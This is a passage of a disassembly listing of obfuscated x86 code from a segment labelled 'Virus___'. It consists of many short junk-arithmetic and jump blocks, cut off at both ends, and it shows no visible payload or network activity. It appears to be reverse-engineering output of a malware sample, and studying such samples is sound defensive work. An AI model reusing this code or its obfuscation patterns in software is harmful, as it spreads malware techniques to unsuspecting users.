loc_5482AB:				; CODE XREF: sub_545A2B+3A7Dj
		pop	ebx
		xor	dh, 6Fh
		sub	dh, 0D0h
		or	dh, 0D8h
		xor	dh, 7Ch
		shl	dh, 1
		add	dh, 0A7h
		push	edx
		mov	dh, 9Eh
		sub	dh, 4Ah
		add	al, dh
		pop	edx
		sub	al, dh
		sub	al, 54h
		pop	edx
		push	edx
		jmp	loc_54B99E
; ---------------------------------------------------------------------------


loc_5482D1:				; CODE XREF: sub_545A2B+2B73j
		sub	bp, 7C2Ah
		push	bx
		mov	bx, 2BDFh
		xor	bp, bx
		pop	bx
		push	esi
		mov	si, 4FC4h
		jmp	loc_5444B8
; ---------------------------------------------------------------------------


loc_5482EB:				; CODE XREF: sub_545A2B+F71j
		push	edx
		jmp	loc_54D754
; ---------------------------------------------------------------------------


loc_5482F1:				; CODE XREF: sub_545A2B+285Dj
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp-32h+arg_32]
		mov	ecx, [esp-2Eh+arg_2A]
		add	esp, 4
		pop	[esp-32h+arg_2E]
		pop	esp
		jmp	loc_54EE7B
; ---------------------------------------------------------------------------


loc_548312:				; CODE XREF: sub_54462C+Aj
		pop	[esp-3Ah+arg_36]
		jmp	loc_54AD40
; ---------------------------------------------------------------------------


loc_54831A:				; CODE XREF: sub_545A2B+273Aj
		mov	ecx, esp
		jmp	loc_547975
; ---------------------------------------------------------------------------


loc_548321:				; CODE XREF: sub_545A2B+25DCj
		pop	ebx
		push	ebx
		mov	ebx, 64E54D54h
		sub	ebx, 29923634h
		and	ebx, 33035761h
		dec	ebx
		jmp	loc_54F1F2
; ---------------------------------------------------------------------------


loc_54833A:				; CODE XREF: sub_545A2B+2386j
		add	edx, eax
		jmp	loc_545B03
; ---------------------------------------------------------------------------


loc_548341:				; DATA XREF: Virus___:00542EE0o
		mov	ax, word ptr [esp-2Ah+arg_26]
		jmp	sub_54D5C0
; ---------------------------------------------------------------------------


loc_54834A:				; CODE XREF: sub_545A2B+9300j
		sub	[esp-2Ah+arg_26], 11E720A4h
		pop	eax
		sub	esp, 4
		mov	[esp-2Ah+arg_26], ecx
		mov	ecx, 11E720A4h
		add	eax, ecx
		jmp	loc_544957
; ---------------------------------------------------------------------------


loc_548367:				; CODE XREF: sub_545A2B+2A77j
		push	edx
		mov	dl, 34h
		xor	dl, 17h
		add	dl, 42h
		add	bl, dl
		pop	edx
		sub	ah, bl
		jmp	loc_54324D
; ---------------------------------------------------------------------------


loc_54837A:				; CODE XREF: sub_545A2B+1FCAj
		mov	ecx, 4
		jmp	loc_54CC59
; ---------------------------------------------------------------------------


loc_548384:				; CODE XREF: sub_545A2B-25CDj
		pop	ebp
		push	ebx
		mov	ebx, 7F5A1508h
		push	4EF7h
		mov	[esp-28h+arg_22+2], ecx
		push	edi
		mov	edi, 4E9C7ECFh
		push	70B9h
		mov	[esp-20h+arg_1A+2], edi
		pop	ecx
		mov	edi, [esp-24h+arg_1E+2]
		add	esp, 4
		neg	ecx
		xor	ecx, 9DCFA3A2h
		sub	ebx, 478B78DCh
		jmp	loc_548568
; ---------------------------------------------------------------------------


loc_5483BB:				; CODE XREF: sub_545A2B+4236j
		mov	ah, 0FEh
		jmp	loc_54E66C
; ---------------------------------------------------------------------------


loc_5483C2:				; CODE XREF: sub_545A2B-272Fj
		mov	dh, 9Ch
		neg	dh
		add	dh, 2Ch
		xor	bl, dh
		pop	edx
		jmp	loc_549383
; ---------------------------------------------------------------------------


loc_5483D1:				; CODE XREF: sub_545A2B+8FAFj
		add	eax, edx
		pop	edx
		xchg	eax, [esp-1Ch+arg_16+2]
		pop	esp
		add	dx, 7E70h
		pop	esi
		jmp	loc_54BBA2
; ---------------------------------------------------------------------------


loc_5483E3:				; CODE XREF: sub_545A2B+1D9Cj
		add	esp, 4
		and	ch, 3
		sub	ch, 6Ch
		sub	al, ch
		push	[esp-14h+arg_E+2]
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_54CE5F
; ---------------------------------------------------------------------------


loc_5483FA:				; CODE XREF: sub_545A2B+7353j
		push	edx
		push	eax
		pop	edx
		mov	esi, edx
		pop	edx
		pop	eax
		sub	esi, 64351945h
		and	eax, esi
		mov	esi, [esp-14h+arg_E+2]
		push	edi
		mov	edi, esp
		jmp	loc_54AC17
; ---------------------------------------------------------------------------


loc_548414:				; CODE XREF: sub_545A2B+921Dj
		not	dh
		jmp	loc_5448DF
; ---------------------------------------------------------------------------


loc_54841B:				; CODE XREF: sub_545A2B-27A5j
		sub	esi, ebx
		jmp	loc_545ED1
; ---------------------------------------------------------------------------


loc_548422:				; CODE XREF: sub_545A2B-1DBCj
		pop	esp
		jmp	loc_54D5D8
; ---------------------------------------------------------------------------


loc_548428:				; CODE XREF: sub_545A2B+22D8j
		push	ecx
		mov	ecx, 220197Fh
		jmp	loc_5434C9
; ---------------------------------------------------------------------------


loc_548433:				; CODE XREF: sub_545A2B-14E5j
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp-26h+arg_22]
		pop	esp
		push	eax
		jmp	loc_54BC72
; ---------------------------------------------------------------------------


loc_548444:				; CODE XREF: sub_545A2B+9EFj
		push	edx
		mov	edx, esp
		push	555Bh
		mov	[esp-38h+arg_32+2], ebx
		mov	ebx, 4
		sub	edx, 5B6D1C78h
		jmp	loc_54717C
; ---------------------------------------------------------------------------


loc_54845F:				; CODE XREF: sub_545A2B-31Cj
		sub	bl, ch
		pop	ecx
		push	[esp-1Ah+arg_16]
		pop	edx
		add	esp, 4
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_548475:				; CODE XREF: sub_545A2B+7C66j
		pop	ebp
		jmp	sub_54CEC0
; ---------------------------------------------------------------------------


loc_54847B:				; CODE XREF: sub_545A2B+54F4j
		sub	al, 0E1h
		add	al, 0F8h
		jmp	loc_549089
; ---------------------------------------------------------------------------


loc_548484:				; CODE XREF: sub_545A2B+153Cj
		sub	ebp, 0FFFFFFFFh
		jmp	loc_547DDC
; ---------------------------------------------------------------------------


loc_54848F:				; CODE XREF: sub_545A2B+117j
		shr	bh, 3
		xor	bh, 72h
		or	bh, 25h
		add	bh, 83h
		jmp	loc_54EE02
; ---------------------------------------------------------------------------


loc_5484A0:				; CODE XREF: sub_545A2B+3F2Cj
		mov	bl, 82h
		jmp	loc_548367
; ---------------------------------------------------------------------------


loc_5484A7:				; DATA XREF: Virus___:00542EA4o
		lodsb
		sub	al, 96h
		add	al, 59h
		jmp	loc_54A7D0
; ---------------------------------------------------------------------------


loc_5484B1:				; CODE XREF: sub_545A2B+4D1Dj
		mov	[esp+14h+var_16+2], ecx
		jmp	loc_5458F0
; ---------------------------------------------------------------------------


loc_5484B9:				; CODE XREF: sub_545A2B-DA6j
		pop	ebp
		sub	ebp, 50E86AEDh
		add	ebp, eax
		add	ebp, 50E86AEDh
		pop	eax
		xchg	ebp, [esp-20h+arg_1A+2]
		pop	esp
		jmp	loc_54E885
; ---------------------------------------------------------------------------


loc_5484D2:				; CODE XREF: sub_545A2B-8E4j
		xor	edx, 329F0B31h
		jmp	loc_54D008
; ---------------------------------------------------------------------------


loc_5484DD:				; CODE XREF: sub_545A2B+5082j
		pop	ebx
		sub	al, 0Eh
		sub	al, ch
		jmp	loc_54763B
; ---------------------------------------------------------------------------


loc_5484E7:				; CODE XREF: sub_545A2B+79BBj
		xor	ecx, ebp
		pop	ebp
		sub	eax, ecx
		pop	ecx
		xor	ebx, eax
		jmp	loc_543D2C
; ---------------------------------------------------------------------------


loc_5484F4:				; CODE XREF: sub_545A2B+5BAj
		add	[esp-14h+arg_12+2], esi
		pop	esi
		sub	[esp-18h+arg_12+2], eax
		push	ecx
		mov	ecx, 5F7B1FD2h
		sub	[esp-14h+arg_12+2], ecx
		jmp	loc_549FA8
; ---------------------------------------------------------------------------


loc_54850B:				; CODE XREF: Virus___:00544D8Bj
		push	3BB0h
		jmp	loc_54A3CD
; ---------------------------------------------------------------------------


loc_548515:				; CODE XREF: sub_545A2B-E23j
		inc	bl
		push	eax
		mov	al, 0AEh
		sub	al, 0AFh
		jmp	loc_54B38C
; ---------------------------------------------------------------------------


loc_548521:				; CODE XREF: sub_545A2B-1899j
		mov	edx, 6623DC8h
		shl	edx, 4
		inc	edx
		inc	edx
		sub	edx, 18924615h
		sub	edx, 4D883580h
		sub	ebx, edx
		jmp	loc_545DAA
; ---------------------------------------------------------------------------


loc_54853E:				; CODE XREF: sub_5440AE-5D5j
		mov	[esp-16h+arg_12], eax
		mov	eax, 66CA1392h
		shl	eax, 4
		xor	eax, 0EC86392h
		shl	eax, 7
		push	edi
		mov	edi, 57556909h
		or	eax, edi
		mov	edi, [esp-12h+arg_E]
		add	esp, 4
		push	esi
		jmp	loc_548DA4
; ---------------------------------------------------------------------------


loc_548568:				; CODE XREF: sub_545A2B+298Bj
		add	ebx, ecx
		add	ebx, 478B78DCh
		pop	ecx
		not	ebx
		jmp	loc_54C6A3
; ---------------------------------------------------------------------------


loc_548578:				; CODE XREF: sub_545A2B+8E9Bj
		sub	al, 0Ch
		mov	ebx, [esp-2Ch+arg_26+2]
		push	eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_54BF44
; ---------------------------------------------------------------------------


loc_54858E:				; CODE XREF: Virus___:0054D625j
		add	esp, 4
		neg	edx
		jmp	loc_54C7E6
; ---------------------------------------------------------------------------


loc_54859B:				; CODE XREF: sub_54E622-150Cj
		xchg	di, bp
		jmp	loc_5482D1
; ---------------------------------------------------------------------------


loc_5485A3:				; CODE XREF: sub_545A2B-1C7Dj
		pop	edi
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp-40h+arg_3A+2], ecx
		jmp	sub_54EE9E
; ---------------------------------------------------------------------------


loc_5485B6:				; CODE XREF: sub_545A2B+82F6j
		pop	ebp
		push	edi
		mov	edi, 2
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp-44h+arg_3E+2]
		pop	esp
		jmp	sub_54E622
; ---------------------------------------------------------------------------


loc_5485C9:				; CODE XREF: sub_545A2B+162Ej
		mov	[esp+4+var_4], ebx
		mov	ebx, 601C4888h
		jmp	loc_5437BC
; ---------------------------------------------------------------------------


loc_5485D6:				; CODE XREF: sub_545A2B+6242j
		push	edi
		jmp	loc_5493B5
; ---------------------------------------------------------------------------


loc_5485DC:				; CODE XREF: sub_545A2B+F47j
		add	esp, 4
		sub	ecx, 0EA54F9Ah
		jmp	loc_547EFB
; ---------------------------------------------------------------------------


loc_5485EA:				; DATA XREF: Virus___:00542EE8o
		push	[esp-40h+arg_3A+2]
		mov	ecx, [esp-3Ch+arg_36+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-3Ch+arg_36+2], ebp
		push	711Ch
		jmp	loc_54C6C3
; ---------------------------------------------------------------------------


loc_548609:				; CODE XREF: sub_545A2B+435j
		add	esi, ebx
		jmp	loc_54A52C
; ---------------------------------------------------------------------------


loc_548610:				; CODE XREF: sub_545A2B+6D5Dj
		mov	eax, [esp-16h+arg_12]
		push	ecx
		mov	ecx, esp
		push	eax
		push	ebp
		mov	ebp, 4
		push	ebx
		mov	ebx, ebp
		mov	eax, ebx
		pop	ebx
		mov	ebp, [esp-0Ah+arg_4+2]
		jmp	loc_54A90D
; ---------------------------------------------------------------------------
		push	[esp-0Ah+arg_4+2]
		pop	ecx
		push	esi
		push	1FD5h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		jmp	loc_54A3F8
; ---------------------------------------------------------------------------


loc_548644:				; CODE XREF: sub_545A2B+70B9j
		mov	[esp+2+var_4+2], eax
		push	ecx
		push	edx
		mov	edx, 4D4F4B29h
		mov	ecx, edx
		pop	edx
		xor	ecx, 66245F12h
		jmp	loc_549BD0
; ---------------------------------------------------------------------------


loc_54865C:				; CODE XREF: sub_545A2B-1852j
		mov	edi, [esp-22h+arg_1E]
		add	esp, 4
		sub	eax, edx
		jmp	loc_54A7B1
; ---------------------------------------------------------------------------


loc_548669:				; CODE XREF: sub_545A2B+2CCEj
		pop	eax
		or	ebp, 5F2214B0h
		and	ebp, 51C4B90h
		sub	ebp, 5044B8Ch
		jmp	loc_549765
; ---------------------------------------------------------------------------


loc_548681:				; CODE XREF: sub_545A2B+92D7j
		sub	di, 29FAh
		jmp	loc_54891D
; ---------------------------------------------------------------------------


loc_54868B:				; DATA XREF: Virus___:00542E0Co
		push	[esp-2Ah+arg_2A]
		mov	eax, [esp-26h+arg_22]
		push	edi
		push	esp
		mov	edi, [esp-1Eh+arg_1A]
		add	esp, 4
		add	edi, 4
		jmp	loc_546B89
; ---------------------------------------------------------------------------


loc_5486A5:				; CODE XREF: sub_545A2B+8B48j
		mov	ebp, esp
		push	6CD4h
		mov	[esp-1Eh+arg_1A], edx
		mov	edx, 46B97D7Dh
		shl	edx, 2
		shl	edx, 8
		shr	edx, 2
		or	edx, 21541741h
		sub	edx, 54B06AA5h
		jmp	loc_54B590
; ---------------------------------------------------------------------------


loc_5486CE:				; CODE XREF: sub_545A2B+8BC4j
		add	eax, ebx
		push	edx
		mov	edx, 1DAE31BDh
		add	edx, 47002CDEh
		sub	eax, edx
		pop	edx
		push	edi
		mov	edi, 16446B0Ah
		add	eax, edi
		pop	edi
		add	eax, 29F2657Eh
		jmp	loc_546610
; ---------------------------------------------------------------------------


loc_5486F2:				; CODE XREF: sub_545A2B-1C19j
		sub	eax, 0A30D7E5Bh
		mov	ebp, eax
		jmp	loc_548669
; ---------------------------------------------------------------------------


loc_5486FE:				; CODE XREF: sub_545A2B+47D8j
		xor	edx, 2E3E79E6h
		jmp	loc_5492A4
; ---------------------------------------------------------------------------


loc_548709:				; CODE XREF: sub_543419+6j
		mov	[esp-4Ch+arg_46+2], edx
		mov	dl, al
		mov	bh, dl
		pop	edx
		mov	eax, [esp-50h+arg_4C]
		add	esp, 4
		not	bh
		not	bh
		dec	bh
		jmp	loc_54CA24
; ---------------------------------------------------------------------------


loc_548725:				; DATA XREF: Virus___:00542E34o
		lodsd
		push	edx
		push	ecx
		mov	ecx, 536226A6h
		inc	ecx
		add	ecx, 4E8C5599h
		not	ecx
		inc	ecx
		jmp	loc_54A1ED
; ---------------------------------------------------------------------------


loc_54873C:				; CODE XREF: sub_545A2B+731Bj
		mov	[esp-4Ch+arg_46+2], ebp
		mov	ebp, 7D916C97h
		push	esi
		jmp	loc_54E3F8
; ---------------------------------------------------------------------------


loc_54874A:				; CODE XREF: sub_545A2B+5297j
		push	ecx
		mov	ecx, 43BB57DBh
		jmp	loc_54973E
; ---------------------------------------------------------------------------


loc_548755:				; CODE XREF: sub_545A2B+140Aj
		add	esp, 4
		push	107Ch
		mov	[esp-30h+arg_2A+2], esi
		push	[esp-30h+arg_2E+2]
		pop	esi
		pop	[esp-30h+arg_2A+2]
		pop	esp
		btr	word ptr [esp-38h+arg_32+2], ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_548777:				; CODE XREF: sub_545A2B+975Fj
		pop	eax
		add	ebp, 0BE673A5Ah
		and	eax, ebp
		pop	ebp
		jmp	loc_546DFB
; ---------------------------------------------------------------------------


loc_548786:				; CODE XREF: Virus___:0054569Aj
		mov	eax, [esp-3Ch+arg_36+2]
		add	esp, 4
		push	667Eh
		mov	[esp-3Ch+arg_36+2], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-3Ch+arg_36+2]
		pop	esp
		mov	[esp-40h+arg_3A+2], edx
		mov	edx, esp
		jmp	loc_543BF7
; ---------------------------------------------------------------------------


loc_5487AD:				; CODE XREF: sub_545A2B-1805j
		sub	edx, ebp
		pop	ebp
		add	edx, 64167DC7h
		sub	edx, ebx
		sub	edx, 64167DC7h
		jmp	loc_54459D
; ---------------------------------------------------------------------------


loc_5487C3:				; CODE XREF: sub_545A2B+5163j
		mov	dh, cl
		mov	ecx, [esp-1Ah+arg_16]
		add	esp, 4
		mov	al, dh
		pop	dx
		or	al, 0B0h
		jmp	loc_544055
; ---------------------------------------------------------------------------


loc_5487D9:				; CODE XREF: sub_545A2B-1F68j
		pop	ecx
		mov	ebx, esi
		jmp	loc_547EB9
; ---------------------------------------------------------------------------


loc_5487E1:				; CODE XREF: sub_545A2B+5D18j
		sub	ebp, 69FB394Ah
		sub	eax, 55AE7FBAh
		add	eax, 0BB45C40h
		sub	eax, ebp
		sub	eax, 0BB45C40h
		add	eax, 55AE7FBAh
		pop	ebp
		add	ebp, eax
		pop	eax
		jmp	loc_54387F
; ---------------------------------------------------------------------------


loc_548806:				; CODE XREF: sub_545A2B+FDDj
		push	esp
		jmp	loc_54A0FA
; ---------------------------------------------------------------------------


loc_54880C:				; CODE XREF: sub_545A2B+7D86j
		add	esi, 4
		jmp	loc_543C0C
; ---------------------------------------------------------------------------


loc_548817:				; CODE XREF: sub_545A2B+7A3Aj
		push	[esp-46h+arg_46]
		pop	ecx
		pop	[esp-46h+arg_42]
		not	ecx
		xchg	ecx, [esp-4Ah+arg_46]
		push	[esp-4Ah+arg_46]
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 69823DDEh
		sub	eax, 76411CF2h
		jmp	loc_54E3A8
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_548843:				; CODE XREF: sub_545A2B+7965j
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		jmp	loc_54BC64
; ---------------------------------------------------------------------------


loc_54884F:				; CODE XREF: sub_545A2B+33D0j
		xor	ecx, 8E53F97h
		shl	ecx, 5
		sub	ecx, 18770683h
		xor	ecx, 1E5B5AB2h
		jmp	loc_54B2E7
; ---------------------------------------------------------------------------


loc_548869:				; CODE XREF: Virus___:0054F107j
		push	3715h
		mov	[esp-3Eh+arg_3A], edi
		push	esp
		mov	edi, [esp-3Ah+arg_36]
		add	esp, 4
		jmp	loc_546E68
; ---------------------------------------------------------------------------


loc_54887D:				; CODE XREF: sub_545A2B+3DD9j
		sub	ebp, 0A9CDB536h
		mov	edi, ebp
		pop	ebp
		add	eax, edi
		mov	edi, [esp-42h+arg_3E]
		add	esp, 4
		jmp	loc_5456D1
; ---------------------------------------------------------------------------


loc_548893:				; CODE XREF: sub_545A2B+3AF5j
		pop	cx
		add	al, dl
		mov	edx, [esp-48h+arg_42+2]
		add	esp, 4
		push	dx
		mov	dl, 37h
		add	al, dl
		pop	dx
		sub	al, bl
		jmp	loc_5443E8
; ---------------------------------------------------------------------------


loc_5488AC:				; CODE XREF: sub_54D226-99ACj
		mov	esp, [esp-4Ch+arg_46+2]
		jmp	loc_54EE22
; ---------------------------------------------------------------------------


loc_5488B4:				; CODE XREF: sub_54F214+29j
		pop	eax
		add	edx, 4
		xchg	edx, [esp-50h+arg_4C]
		mov	esp, [esp-50h+arg_4C]
		add	ebp, 1
		shl	ebp, 3
		not	ebp
		push	esi
		mov	esi, 39920E47h
		jmp	loc_549F63
; ---------------------------------------------------------------------------


loc_5488D4:				; CODE XREF: sub_545A2B+4541j
		mov	edi, 0EF853AEh
		sub	esi, edi
		pop	edi
		inc	esi
		sub	esi, 95F3E1F3h
		xor	ebp, esi
		pop	esi
		jmp	loc_548F31
; ---------------------------------------------------------------------------


loc_5488EB:				; CODE XREF: sub_545A2B-29Bj
		pop	[esp-16h+arg_12]
		mov	esp, [esp-1Ah+arg_16]
		jmp	loc_54C179
; ---------------------------------------------------------------------------


loc_5488F6:				; CODE XREF: sub_545A2B+873Cj
		dec	cl
		add	cl, 7Bh
		sub	bh, 30h
		add	bh, cl
		jmp	loc_54BA4D
; ---------------------------------------------------------------------------


loc_548905:				; CODE XREF: sub_545A2B-19D4j
		add	al, 2Fh
		sub	bl, 18h
		sub	bl, al
		add	bl, 18h
		pop	eax
		jmp	loc_54EC88
; ---------------------------------------------------------------------------


loc_548915:				; CODE XREF: sub_545A2B+27C4j
		mov	[esp-1Eh+arg_1A], ebx
		jmp	loc_54CEF6
; ---------------------------------------------------------------------------


loc_54891D:				; CODE XREF: sub_545A2B+2C5Bj
		sub	si, di
		pop	edi
		add	ax, si
		mov	esi, [esp-2Eh+arg_2A]
		add	esp, 4
		shl	ax, 6
		jmp	loc_5452FD
; ---------------------------------------------------------------------------


loc_548936:				; DATA XREF: Virus___:00542E60o
		mov	cx, word ptr [esp-32h+arg_2E]
		push	esi
		mov	esi, esp
		jmp	loc_5469A1
; ---------------------------------------------------------------------------


loc_548942:				; CODE XREF: sub_5451FD-2F4j
		mov	[esp-2Eh+arg_2A], ebp
		push	[esp-2Eh+arg_2E]
		jmp	loc_54A15C
; ---------------------------------------------------------------------------


loc_54894E:				; CODE XREF: sub_545A2B+6C9j
		pop	ebp
		push	esi
		mov	esi, 7372798Ch
		jmp	loc_54413F
; ---------------------------------------------------------------------------


loc_54895A:				; CODE XREF: sub_545A2B+1A4Fj
		mov	ebx, 4DBC37A7h
		push	4B84h
		mov	[esp-22h+arg_1E], ebp
		mov	ebp, 15AF3F31h
		not	ebp
		or	ebp, 1455182Eh
		xor	ebp, 0F61DD4B5h
		neg	ebp
		inc	ebp
		or	ebp, 399A3D46h
		xor	ebp, 8DA3EA99h
		sub	eax, ebp
		mov	ebp, [esp-22h+arg_1E]
		jmp	loc_5478C2
; ---------------------------------------------------------------------------


loc_548993:				; CODE XREF: sub_545A2B+2626j
		add	eax, 0BD3D5839h
		mov	esi, eax
		mov	eax, [esp-16h+arg_12]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54EC54
; ---------------------------------------------------------------------------


loc_5489AB:				; CODE XREF: sub_545A2B-1F7j
		push	esi
		mov	esi, esp
		jmp	loc_54557D
; ---------------------------------------------------------------------------


loc_5489B3:				; CODE XREF: sub_545A2B+1D73j
		add	edx, 0FFA00315h
		add	esi, 51D1D89h
		add	esi, edx
		push	ebx
		mov	ebx, 64881670h
		inc	ebx
		shr	ebx, 6
		jmp	loc_54E16C
; ---------------------------------------------------------------------------


loc_5489D0:				; CODE XREF: sub_545A2B+443Dj
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp-30h+arg_2A+2]
		xor	[esp-30h+arg_2A+2], eax
		jmp	loc_5460CA
; ---------------------------------------------------------------------------


loc_5489E5:				; CODE XREF: sub_545A2B+7FC4j
		xchg	ecx, [esp-30h+arg_2A+2]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5489F3:				; CODE XREF: sub_545A2B+32C5j
		dec	ebx
		not	ebx
		sub	ebx, 0E75E665Bh
		push	edx
		mov	edx, ebx
		mov	ecx, edx
		pop	edx
		pop	ebx
		sub	esp, 4
		mov	[esp-2Ch+arg_26+2], ebx
		mov	ebx, 7BCB1FD0h
		and	ecx, ebx
		mov	ebx, [esp-2Ch+arg_26+2]
		add	esp, 4
		add	ecx, 0FFFFFFFFh
		add	ecx, 53A57B8Eh
		dec	ecx
		or	ecx, 22D02A5Ch
		add	ecx, 0E9527C7Fh
		jmp	loc_54AB6C
; ---------------------------------------------------------------------------


loc_548A37:				; CODE XREF: sub_545A2B+C3Cj
		sub	eax, 2A407914h
		pop	ecx
		push	edi
		jmp	loc_546FF2
; ---------------------------------------------------------------------------


loc_548A43:				; CODE XREF: sub_545A2B+663Fj
		xor	[esp-40h+arg_3A+2], eax
		xor	eax, [esp-40h+arg_3A+2]
		pop	esp
		sub	esp, 4
		mov	[esp-40h+arg_3A+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-40h+arg_3A+2]
		jmp	loc_54B3A2
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-40h+arg_3A+2]
		jmp	loc_545CBE
; ---------------------------------------------------------------------------


loc_548A6F:				; CODE XREF: sub_545A2B+2636j
		dec	edi
		xor	edi, 68074F5Dh
		shl	edi, 2
		jmp	loc_545E09
; ---------------------------------------------------------------------------


loc_548A7E:				; CODE XREF: sub_545A2B+66C5j
		xchg	edi, [esp-20h+arg_1A+2]
		pop	esp
		jmp	loc_54BB70
; ---------------------------------------------------------------------------


loc_548A87:				; CODE XREF: sub_545A2B+42EDj
		add	eax, 6A13BB7h
		jmp	loc_547642
; ---------------------------------------------------------------------------


loc_548A91:				; CODE XREF: sub_545A2B+4659j
		sub	eax, edi
		pop	edi
		add	eax, 76CF6A20h
		and	eax, 661D08CCh
		xor	eax, 260108C4h
		add	edx, eax
		pop	eax
		xchg	edx, [esp-2Ch+arg_26+2]
		pop	esp
		sub	esp, 4
		mov	[esp-2Ch+arg_26+2], ecx
		mov	ecx, esp
		jmp	loc_546235
; ---------------------------------------------------------------------------


loc_548ABA:				; CODE XREF: sub_545A2B+9721j
		sub	ecx, 4E3251CAh
		sub	ecx, edx
		add	ecx, 4E3251CAh
		add	ecx, 88D0AACh
		pop	edx
		push	ecx
		push	[esp-2Ch+arg_2A+2]
		pop	ecx
		pop	[esp-2Ch+arg_26+2]
		jmp	loc_54DA8C
; ---------------------------------------------------------------------------


loc_548ADD:				; CODE XREF: sub_545A2B+89C8j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_548AE2:				; CODE XREF: sub_545A2B+7D46j
		push	eax
		mov	eax, 4D4373E7h
		mov	esi, 49D4EB96h
		xor	esi, eax
		mov	eax, [esp-2Ch+arg_26+2]
		add	esp, 4
		sub	eax, 40112DE0h
		sub	eax, esi
		add	eax, 40112DE0h
		jmp	loc_54C3CF
; ---------------------------------------------------------------------------


loc_548B09:				; CODE XREF: sub_545A2B+7FA2j
		mov	edi, [esp-30h+arg_2A+2]
		add	esp, 4
		push	ebp
		push	esi
		push	7ED7h
		mov	[esp-28h+arg_22+2], eax
		mov	eax, 11F426AAh
		mov	esi, eax
		pop	eax
		push	2875A28h
		pop	ebp
		xor	ebp, esi
		pop	esi
		push	eax
		mov	eax, 27B36FEEh
		add	ebp, eax
		mov	eax, [esp-2Ch+arg_26+2]
		add	esp, 4
		push	eax
		jmp	loc_545CF9
; ---------------------------------------------------------------------------


loc_548B3E:				; CODE XREF: sub_542FBE+A5B1j
		pop	edi
		pop	esi
		mov	edx, ebx
		pop	ebx


loc_548B43:				; CODE XREF: sub_545A2B-2783j
					; sub_545A2B+13D2j
		push	edi
		push	9FFh
		mov	[esp-30h+arg_2A+2], ebx
		push	[esp-30h+arg_2A+2]
		pop	edi
		add	esp, 4
		push	ebp
		mov	ebp, edi
		mov	eax, ebp
		pop	ebp
		push	[esp-34h+arg_2E+2]
		mov	edi, [esp-30h+arg_2A+2]
		add	esp, 4
		push	345h
		mov	[esp-30h+arg_2A+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-30h+arg_2A+2]
		pop	esp
		push	23C8h
		mov	[esp-30h+arg_2A+2], edx
		sub	esp, 4
		mov	[esp-2Ch+arg_26+2], eax
		push	64B97642h
		mov	eax, [esp-28h+arg_22+2]
		add	esp, 4
		mov	edx, 25DD043Ah
		xor	edx, eax
		pop	eax
		xor	edx, 41E47278h
		and	eax, edx
		push	[esp-30h+arg_2A+2]
		mov	edx, [esp-2Ch+arg_26+2]
		push	esi
		jmp	loc_5477E5
; ---------------------------------------------------------------------------


loc_548BB4:				; CODE XREF: sub_545A2B+3E52j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-24h+arg_1E+2]
		pop	esp
		sub	esp, 4
		mov	[esp-24h+arg_1E+2], ecx
		jmp	loc_543F9A
; ---------------------------------------------------------------------------


loc_548BCF:				; CODE XREF: sub_545A2B-1A03j
		add	esp, 4
		shl	esi, 8
		sub	esi, 0FFFF7EFCh
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp-32h+arg_2E]
		jmp	loc_542FDA
; ---------------------------------------------------------------------------


loc_548BEF:				; CODE XREF: sub_545A2B-1B72j
		mov	ecx, 8558CAFAh
		add	ecx, 181F57D8h
		add	ecx, edx
		sub	ecx, 181F57D8h
		pop	edx
		add	ebp, ecx
		pop	ecx
		push	ebp
		push	[esp-3Ch+arg_3A+2]
		pop	ebp
		pop	[esp-3Ch+arg_36+2]
		jmp	loc_54758B
; ---------------------------------------------------------------------------


loc_548C14:				; CODE XREF: sub_545A2B-1F36j
		push	edx
		mov	dh, 0A6h
		jmp	loc_54C3FA
; ---------------------------------------------------------------------------


loc_548C1C:				; CODE XREF: sub_545A2B+1C33j
		mov	[esp-3Eh+arg_3A], edx
		push	edi
		jmp	loc_546F9C
; ---------------------------------------------------------------------------


loc_548C25:				; CODE XREF: sub_545A2B+194Aj
		inc	dl
		add	dl, 0A7h
		xor	cl, dl
		jmp	loc_54B558
; ---------------------------------------------------------------------------


loc_548C31:				; CODE XREF: sub_545A2B-1C0Fj
		mov	esi, 32483D0Dh
		sub	edi, esi
		pop	esi
		std
		push	0Ah
		mov	ecx, [esp-50h+arg_4C]
		push	2367h
		mov	[esp-4Ch+arg_46+2], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_54F350
; ---------------------------------------------------------------------------


loc_548C5B:				; CODE XREF: sub_545A2B+5C53j
		mov	eax, 0
		sub	eax, 46E43C4Eh
		jmp	loc_54A645
; ---------------------------------------------------------------------------


loc_548C6A:				; CODE XREF: sub_545A2B-18BCj
		add	eax, 4
		xchg	eax, [esp-1Ah+arg_16]
		pop	esp
		jmp	loc_54E791
; ---------------------------------------------------------------------------


loc_548C78:				; CODE XREF: sub_54EC77+Cj
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 2C3C7139h
		push	edi
